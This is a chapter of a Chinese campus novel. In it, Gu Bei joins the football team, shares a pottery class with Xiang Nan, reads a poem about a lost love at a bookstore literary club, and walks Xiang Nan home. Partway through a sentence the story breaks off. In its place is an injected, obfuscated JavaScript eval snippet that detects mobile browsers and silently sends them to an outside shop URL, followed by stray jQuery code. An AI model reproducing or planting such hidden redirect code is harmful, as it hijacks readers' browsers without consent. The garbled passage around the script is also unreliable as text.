第十四章浪漫骑士文学联盟
十月过去大半，南风市的秋天终于铺展开来。梧桐叶从边缘开始泛黄，先是镶了一道金边，然后整片整片地变成赭黄、橘红、深褐，风一吹就簌簌地落，铺满了梧桐大道的每一寸路面。走在上面，脚下发出细碎的沙沙声，像是秋天在轻声说话。
日子渐渐有了固定的形状。周一到周五，顾北的课表排得满满当当——听力、口语、阅读、语法、日语入门、大学语文、马克思主义哲学——每一门课都在用不同的方式打开他。Miss卢的课堂依然活跃，Billy的外教课依然笑声不断，金老师的日语课依然安静而深邃，苏念的大学语文依然让人在下课后还忍不住回味。
顾北发现，自己开始期待每一节课。不是期待下课，是期待上课本身。
"你这状态不太对，"刚子某天中午在食堂看着他说，"别人上课盼下课，你上课跟盼过年似的。"
顾北笑了笑，没接话。他低头扒了一口饭，在心底想，他不知道怎么跟刚子解释——那些课像是有人在不断往他手里塞钥匙，一把又一把，他还不知道哪把能打开哪扇门，但他想把它们都收好。
欢那边也渐渐安稳下来了。十月中旬，院篮球队的选拔赛结束，欢在第三场热身赛里替补出场，打了十二分钟，得了六分、三个篮板。不高不低的数据，但对于一个大一新生来说，足够让教练记住他的名字。选拔赛结束后，教练拍了拍他的肩膀："下周开始跟队训练，轮换阵容有你一个位置。"
欢第一时间给顾北发消息，"北，进了。"
顾北回了一个大拇指。
同一天下午，顾北和小明一起去了西区足球场。外国语学院男生少，全院加起来凑不出一支完整的十一人队伍，每年新生杯都得从大一新生里硬挖人填位置。队长在试训前就说了实话："咱们院踢球的不多，能跑、能站住位置、不怯场，就差不多了。"
顾北从小学开始踢球，初中高中一直是校队主力，基本功算扎实，传控带都有底子，尤其是左脚能送出有一定精度的传中。小明则从小踢中后卫，选位和卡线的意识比同龄人强出一截。两人站在草皮上的时候，光是热身时的触球和站位，就已经和旁边几个临时上场凑数的新生拉开了差距。
分组对抗踢了不到二十分钟，队长在场边和副队长交换了一个眼神，然后在记录板上划了两道线。试训结束后，队长把所有人叫到中圈："顾北，左边锋，首发。小明，中后卫，首发。"语气平淡，像是早就确定的事。
小明站在那里，脸上的表情有一瞬间是凝住的。他低下头，用手背蹭了一下眼睛，很快又抬起来，点了点头，什么话都没说。回北三的路上，他走了很久才开口："小学五年级开始踢球，那会儿操场是泥地的，下完雨全是坑。每天放学对着墙踢一个小时，踢到天快黑才回家。初中高中没什么时间踢了，但每次路过操场都会想，什么时候能正儿八经地站到球场中间。"
"那你现在是了。"顾北说。
小明没有接话，但上楼的脚步比平时重了一些，像是想确认脚下的地面是坚实的。
海晴也找到了自己的节奏。她最终没有选择转专业，而是跟高数磕上了。每周二四晚自习后，她都抱着高数课本去图书馆，一坐就是两个小时。真正让她发光的，是校啦啦操队的试训。她高中练过几年舞蹈，底子好，进队不到两周就成了前排核心。而更大的消息是——十一月初的学院迎新晚会，海晴被选为女主持人。
她发消息告诉顾北的时候，语气里带着压不住的高兴："负责筛选的学姐说我嗓音条件好，有亲和力。她们不知道，我从小学开始就主持学校晚会了，从六一儿童节到元旦汇演，从小学一直站到高中毕业。主持词换了几十版，台下的观众从家长换成全校师生，但话筒递到手里那一刻的感觉一直没变过。"
顾北回了一句："那就是你的位置。"
周五下午，陶艺课。
顾北推门进去的时候，向南已经到了。她站在靠窗的工作台前，围裙系得整齐，袖子卷到小臂，阳光从窗外落进来，在她肩上镀了一层暖光。看见他，她嘴角弯了一下："来了。"
"嗯。"
这节课做组合件。向南想做一套杯与碟，顾北想了想，说自己做一个碗，看能不能合在一起。两人各自揉泥、塑形。向南的手法稳定克制，顾北的动作已经比几周前熟练了不少。碗成型的时候，他看了看向南的杯子，忽然开口："要不——我的碗给你这个杯子当底座？"
向南动作顿了一下，抬起头看了他一眼，点了点头："试试。"
她把杯子端过来，杯底和碗心轻轻合上的那一刻，两者贴合得刚好。两人同时低下头，指尖在调整时无意中碰到了一起——极轻，不到一秒，两个人同时缩回手。顾北说了声"抱歉"，向南摇了摇头，没有说话。之后她安静地刻了一片小叶子在杯身，他在碗底刻了"托月"两个字。杜老师从旁边经过，看了一眼，什么也没说，只是"嗯"了一声，拖得比平时长一些。
周三晚上七点，新区的新文书店。
顾北推门进去的时候，一股书香混合着木头和旧纸页的气味扑面而来。书店不大，约莫五六十平米，三面墙都是顶到天花板的书架，中间摆了几张深棕色的木质长桌，桌上放着几盆绿萝，藤蔓从花盆边缘垂下来，在灯光下泛着柔和的绿意。最里面靠窗的位置设了一个小小的分享区，几把椅子围成半圆，正前方放着一张矮桌，桌上摆着一盏暖黄色的台灯和一束干枯的尤加利叶。
书店的角落里已经坐了一些人。有的在翻书，有的低头看手机，有的三三两两低声交谈。顾北扫了一眼，发现向南坐在靠墙的位置，膝盖上摊着那本深蓝色封面的书，低头翻着，指尖停留在某一页。她旁边坐着一个戴圆框眼镜的学长，正低头在笔记本上写着什么，顾北认出他是招新那天在梧桐树下摆桌的那个人。
顾北找了个靠边的位置坐下，把书包放在脚边。
七点过五分的时候，一个中年男人从书架后面走了出来。他穿着一件深蓝色的衬衫，袖子卷到小臂，两鬓微白，鼻梁上架着一副半框眼镜，手里端着一只白色陶瓷茶杯。他走到分享区的矮桌前，把茶杯放下，目光缓缓扫过在场的人。他的目光很温和，有一种不着急的从容，像是等所有人在他的视线里落定。
"欢迎大家来参加'浪漫骑士文学联盟'的第一次分享会。"他在矮桌旁的椅子上坐下，双腿放松地交叠，把茶杯端到手里但没有喝，"我叫白衣书生，南风市作协会员，写诗和散文，偶尔也写一些不像样的随笔。今天是我来主持。"
他停顿了一下，目光从前排扫到后排："在座的有些是老朋友了，有些是第一次来。我先介绍一下我们这个联盟的由来。"
他侧了侧身，示意了一下后排那个戴圆框眼镜的学长："这位是陆远，南风大学文学院大四的学生，也是'浪漫骑士'的发起人。去年他在学校摆了一个读书摊，后来发现来翻书的人越来越多，想找地方聚一聚，就跟我说，能不能借书店的场子做定期分享。我说可以。于是一个月一次，从去年秋天到现在，已经做了十二期。"
陆远站起来朝大家点了点头，又坐下去。白衣书生继续说："十二期里面，我们读过诗，读过小说，读过散文，也读过一些很难归类的、夹在文学和哲学之间的东西。我们在这里分享过喜悦，也分享过某一段文字让人在深夜里哭出来的经历。这个联盟没有门槛，没有考核，不需要你写过什么发表过什么。只要你还在读，还愿意听别人读，你就是这里的一部分。"
他微微笑了一下，那笑容里有种让人放松的东西："好，开场白说完了。我们今天来介绍几位新朋友。"
他看向靠墙的方向："陆远旁边的这位，是向南，大一，外国语学院的。她是第一次来，但之前已经参加过两次读书摊的活动。我想她今天应该也带东西来了。"
向南微微低了一下头，但没有躲闪，抬起头朝白衣书生点了一下，嘴角有一抹很浅的弧度。
白衣书生又把目光转向另一边："那边那位穿深灰色外套的，是顾北，也是大一，同样外国语学院的。他报名的时候备注了一句话，我印象很深——'我想找一些能让我在读完一本书之后，有话想说的人。'我觉得这句话说得很好。读书最怕的是读完之后心里有一堆话，但找不到人说。希望今天你能找到。"
然后他介绍了另外几个第一次来的人，一个叫小周的文学院男生，一个叫阿紫的外语学院女生，还有一个戴棒球帽的学长——说他其实已经来了六七次，但因为上学期实习缺了两个月，算作"半新半旧"。
介绍完新人，白衣书生把茶杯端起来喝了一口，然后放下："好，认识完了，开始正题。今晚的分享按老规矩——先请老成员暖场，再请新人来。第一位，颜玲。她是我们的常驻分享了，大二，文学院的，手很稳，每次选的段落都让人听完之后沉默好一会儿。"
一个扎着低马尾的姑娘从人群中站起来。她约莫二十岁出头，穿着一件浅米色针织开衫，手里拿着一本薄薄的书，封面朝外，走到分享区坐下，朝白衣书生点了点头，然后翻开书页。
"大家好，我是颜玲。今天想分享一本书。这本书很薄，我第一次读的时候不到两个小时就看完了。但之后我又读了四遍。每一遍读，都会发现一些之前没注意到的东西。"
她翻开一页，停顿了一下，开始读："'所谓完美的文章并不存在，就像完美的绝望并不存在一样。'这是书里我非常喜欢的一句话。作者写这本小说的时候不到三十岁，他说自己是在一个深夜的厨房里写完的，一边写一边喝啤酒。这本小说里没有完整的故事，没有明确的起因经过结果，只有一个年轻人，在夏日的海边，和几个朋友喝酒、聊天、回忆。但你读完之后，会觉得好像经历了一场完整的旅行——不是地理上的，是心里面的。"
她合上书，抬起头："我觉得这本书特别适合大一读。因为它不教你怎么做，不告诉你答案。它只是让你知道，有些迷茫是正常的，有些孤独是必要的。那个'我'在整本书里都在寻找什么，但他从来没说清楚自己找的是什么。我想，这就是文学的意义——不是给你答案，是让你知道，你在找的东西，别人也在找。"
掌声响起来，不算热烈，但真诚。白衣书生侧头看着她，点了点头，没有多评价，只说了两个字："好，下一位。"像是他知道好的东西不需要多说。
第二位站起来的是一个短发女生，穿着宽松的黑色卫衣，走到分享区坐下。白衣书生微微侧过身，朝大家说："这位是灿，大二的，上次分享了一首关于路灯的诗，让好几个人散了之后跑去校门口那条路上站了很久。"
灿笑了笑，低头看了看手里的纸，然后抬起头："今天想分享一首自己写的诗，名字叫《我想要那么一个人》。"
她直接背诵了出来——
"我想要那么一个人
在我沉默的时候不问我为什么沉默
只是安静地坐在我旁边
看着同一片夜色
我想要那么一个人
在我笑的时候不问我为什么笑
只是陪我一起笑
笑到月亮都落下去
我想要那么一个人
在我迷路的时候不急着给我指方向
只是走在我前面
让我跟着他的脚印
我想要那么一个人
在我哭的时候不替我擦眼泪
只是把肩膀借给我
然后说：'我在这儿。'"
她念完之后，停了两秒才抬起头。她笑了笑："写这首诗的时候我刚分手。但写完之后我发现，我想要的那个人，其实不是某个人，是某一种状态——一种'在一起不说话也不尴尬'的状态。所以这不是一首情诗，是一首关于陪伴的诗。"
掌声比刚才更响了一些。白衣书生靠回椅背，看了她两秒，然后说："灿的诗我一直觉得有一个特点，就是把很重的东西写得轻。这一首也是。谢谢。"
他端起茶杯喝了一口，目光转向新人坐的那一侧："好，暖场完了。现在换新朋友来——谁先？"
向南安静地站了起来。
她手里拿着那本深蓝色封面的书，走到分享区坐下，没有立刻翻开，而是先低头安静了几秒。白衣书生没有催她，书店里也没有人催她，所有人都等她准备好了才开口。
"大家好，我叫向南，大一。今天想分享一本书。"
她翻开书页，停在其中一页："这本书很特别——一半是爱情，一半是书信，一半是议论。书里有一句话，我一直记着：'在这片已经不再蔚蓝的天空下，如果还有一双眼睛愿意与我一同哭泣，那么生活便值得我为之受苦。'"
她继续说："书名的意思来自一本很古老的书——'我的良人啊，求你快来，如羚羊或小鹿在那座山上。'在书里，那座山不是真实的山，而是一个象征，一个历经跋涉之后终于能并肩站立的地方。两个人要走很远的路，经历很多的风雨，才能真正抵达那里。"
她的声音不大，但在安静的书店里，每一个字都清清楚楚。她翻了一页，念了一段书中的对话："他说，我不知道你长什么样，但我知道你的灵魂长什么样。她说，那你说说，我的灵魂长什么样。他说，像一片月光落在一把古琴上。"
她合上书："大学里，最珍贵的一种关系，是能让你在说完一句话之后，对方没有急着接话，而是安静地想了一下，然后说'我懂你'。那种关系，就是那座山。"
书店里安静了几秒。掌声响起来，比之前任何一次都轻，但更绵长，像风吹过一整片麦田。白衣书生靠回椅背，没有鼓掌，但他目光里的温度比之前高了一档。他没有多说什么，只是说了一句："向南，谢谢你的分享。以后多来。"
向南点了点头，起身走回座位。经过白衣书生身边的时候，他侧头轻声说了句什么，向南脚步停了一下，低头听着，然后点了点头，继续走回座位。
白衣书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881406|212473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生端起茶杯喝了一口，目光扫过新人区："下一位，顾北。"
顾北站起来的时候心跳很快。他走到分享区坐下，面前摊着一张写了半页的纸，墨迹已经干透，是他昨晚反复修改过好几遍的定稿。他低头看了一眼那些字，然后抬起头："大家好，我叫顾北，大一。今天想分享一首自己填的词，词牌借了《蝶恋花》的格，没有取名字。"
他停顿了一下，目光落在纸面上，像是在跟那几行字做最后的确认："这首词是写给一个人的。她叫卢狄。我们春天遇见，秋天分开。春天的时候柳絮飞得满城都是，我以为是开始。后来才知道，那已经是全部了。"
他清了清嗓子，念道：
"新水溢绿堤，鸳鸯水中戏。
独叹春去无留意，将欲还时，巧把佳人遇。
飞花诉衷肠，柳絮传情意，回首红日已西去。
两厢思绪，皆付晚风里。
秋雁归云边，夕阳余晖寒。
犹记初遇谈笑间，水光潋滟，笑靥映湖面。
梧桐纵枯叶，酒秋风一片。
粼粼波光，音容笑貌皆不见，青泪湿衣衫。"
念完最后一个字，书店里安静了很长一段时间。白衣书生没有立刻开口，他靠着椅背，手里的茶杯端在半空中没有放下。隔了几秒，他才慢慢说："上阙写春天的相遇，下阙已经是秋天的追忆。中间隔了一个夏天，但你没写夏天。"
他把茶杯放下，往前微微倾了倾身："为什么不写？"
顾北沉默了一会儿："因为夏天发生的事情，我自己还没想清楚。写出来也是模糊的，不如不写。"
"那首词里的人，现在在哪里？"
"在南方。高考之后她没考上，家里不让她复读，她去南方打工了。"
白衣书生点了点头，没有追问，靠回椅背："留白留得好。不急着给答案，比给一个假的答案要诚实得多。而且——"他微微顿了顿，"春天遇见，秋天分开，中间隔了一个夏天。那个夏天你什么都没写，但它其实都在词里了。在'飞花诉衷肠'和'梧桐纵枯叶'之间的那段空白里。"
掌声响起来，比之前轻，像风吹过一整片还未落尽的梧桐林。向南没有鼓掌，她低着头，指尖压在书页边缘。但她听见白衣书生说"春天遇见，秋天分开"的时候，她翻书页的动作停了一下。
白衣书生又看向了新人区："还有几位新朋友，今晚时间还够，一个一个来。"
小周、阿紫、戴棒球帽的学长分别站起来做了分享。小周读了一段博尔赫斯，阿紫分享了一首自己写的短诗，棒球帽学长念了一段他实习路上写的手记。白衣书生在每个人分享之后都会说几句——不是评价，更像是在替在场的其他人把那句话接住，让它在空气里多停留一会儿。
最后一位分享完的时候，墙上的挂钟刚好指向九点。白衣书生站起来，端起那杯已经凉了的茶，目光扫过全场："今晚就到这儿。十二期了，我每一次都说同一句话——'只要还有人读，还有人愿意讲，我们就在这儿。'"他笑了一下，"你们来了，这句话就还有用。"
书店里响起稀稀拉拉的掌声和椅子挪动的声音，有人起身去书架前翻书，有人三三两两地结伴往外走。顾北把纸折好放进口袋，站起来的时候看见向南正站在书架前面，手里翻着一本诗集，没有急着走。
他走过去的时候她没有抬头，但开口的声音很轻："你的那首词能给我再看看吗？"
顾北从口袋里掏出了那首词，递给向南，夜风从门外涌进来，带着桂花最后一丝余香。顾北站在书架旁边，等向南看完才往外走。
走出书店的时候，向南站在门口的路灯下，正把外套的拉链拉到领口。十月底的夜风已经带了明显的凉意，梧桐叶在路灯上方簌簌地响。她听见脚步声，侧过头看了他一眼，没有多说什么，只是往路边让了让，等他走到旁边，两个人并排沿着人行道往老区的方向走去。
从新区到老区，走路大约要二十多分钟。
向南走了一会儿先开了口："你之前说那首词是写给一个人的。她叫卢狄？"
"嗯。"
"你们是怎么认识的？"
她和我是隔壁班。"高一下学期，学校组织春游，去一个湖边。那天柳絮特别多，她坐在湖边石头上，一脸忧伤，一颗一颗往湖里丢鹅卵石。我陪她一起丢，还教她打水漂。后来，我们熟悉了，下了晚自习会在学校的操场一起走在，分享彼此的心事，我有空了就给她讲题，她给我唱歌，时光就这样慢慢的流过。高考之后她没考上，家里不让她复读，让她跟着亲戚去了南方。"顾北的声音平了下来，"她走的那天我去火车站送她。她站在车厢里，手在窗玻璃上划了一道线。然后火车开了。"
向南安静地听完了，过了一会儿才说："所以你词里写'秋雁归云边，夕阳余晖寒'，是在写那天送她的傍晚。"
"嗯。"
"那'犹记初遇谈笑间，水光潋滟，笑靥映湖面'——是你刚才说的那个湖边。"
"对。那天湖面确实有光。"
向南没有再追问，但她的脚步稍微放慢了一些。两个人走过那段正在施工的路段时，向南忽然说："我其实也有过一个很要好的人。高二转学来的，坐我后面，话很少，但每次我画画的时候他都会站在旁边看。他知道我喜欢凡高，有天放学给我带了一本凡高传记，说是在旧书摊上看见的，觉得我应该会喜欢。后来他转学走了，书我还在。"
"你们还有联系吗？"
"没有了。他转学之后换了号码，QQ也没再上过。"向南说，"但那本书我还在看。有时候翻到某一页，会想起他站在我旁边看我画画的样子。他从来不说话，但每次我回头的时候他都在。"
两个人沉默了一段。梧桐树在路灯下投出细碎的影子，走在前面的行人渐渐少了，夜风从河道方向吹过来，带着水的气息。
"你画的画现在还留着吗？"顾北问。
"大部分都留着。高中的时候画了很多，堆了满满一个纸箱。来大学的时候带了一部分，贴在宿舍床头。我画了一幅桑水寺的钟楼，贴在书桌前面。"
"什么时候画的？"
"国庆回来的那个星期。画的时候在想那天敲钟的事。"
顾北没有接话，但他想起在桑水寺钟楼里，三声钟响，她站在铜钟前闭眼的样子。他走了一段才问："那幅画里，你把自己画进去了吗？"
向南沉默了一下，然后声音里带着一点意外的笑意："没有。但你提醒了我，我应该在钟楼旁边画一个人影。站在铜钟前面，背对画面。"
"那是谁？"
"不知道。"向南说，"可能是个站在那里听钟声的人。"
两个人边走边聊，时间过得飞快，很快就到了北二宿舍门口。两人挥手告别。向南向北三走去，这一次顾北目送她的背影在楼梯口消失才转过身，慢慢往北三走去，风从梧桐叶间穿过来，路灯在身后拉出细长的影子。